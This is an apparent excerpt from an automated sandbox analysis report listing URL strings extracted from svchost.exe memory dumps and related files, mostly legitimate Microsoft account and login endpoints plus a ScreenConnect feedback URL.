Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000007.00000003.2075651104.0000021CA2757000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwamvice
Source: ScreenConnect.Core.dll.2.dr	String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000006.00000003.2070539133.0000016BAB740000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.ecur
Source: svchost.exe, 00000007.00000003.2169106234.0000021CA2E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2076123454.0000021CA2756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2076123454.0000021CA2756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075714432.0000021CA276B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075714432.0000021CA276B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000007.00000003.2075138929.0000021CA272C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075714432.0000021CA276B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000007.00000002.3289021215.0000021CA2E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288225105.0000021CA1EEE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2120616150.0000021CA1EDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srfce
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075714432.0000021CA276B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075714432.0000021CA276B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000007.00000003.2075737545.0000021CA2727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srff
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000007.00000003.2075737545.0000021CA2727000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075714432.0000021CA276B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075714432.0000021CA276B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000007.00000003.2075737545.0000021CA2727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfX
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075714432.0000021CA276B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000007.00000003.2075138929.0000021CA272C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075714432.0000021CA276B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000007.00000002.3289467505.0000021CA2E88000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2210392815.0000021CA275A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-DuNDFuDhliAVCJGN6Lx4m
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srfr
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2076123454.0000021CA2756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600UE
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075714432.0000021CA276B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3289176199.0000021CA2E31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000007.00000003.2075138929.0000021CA272C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfn
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502R
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2076123454.0000021CA2756000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000007.00000003.2075651104.0000021CA2757000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000007.00000003.2075200909.0000021CA275A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA272C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3289021215.0000021CA2E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfLive
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srfce
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 00000007.00000002.3289318932.0000021CA2E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.
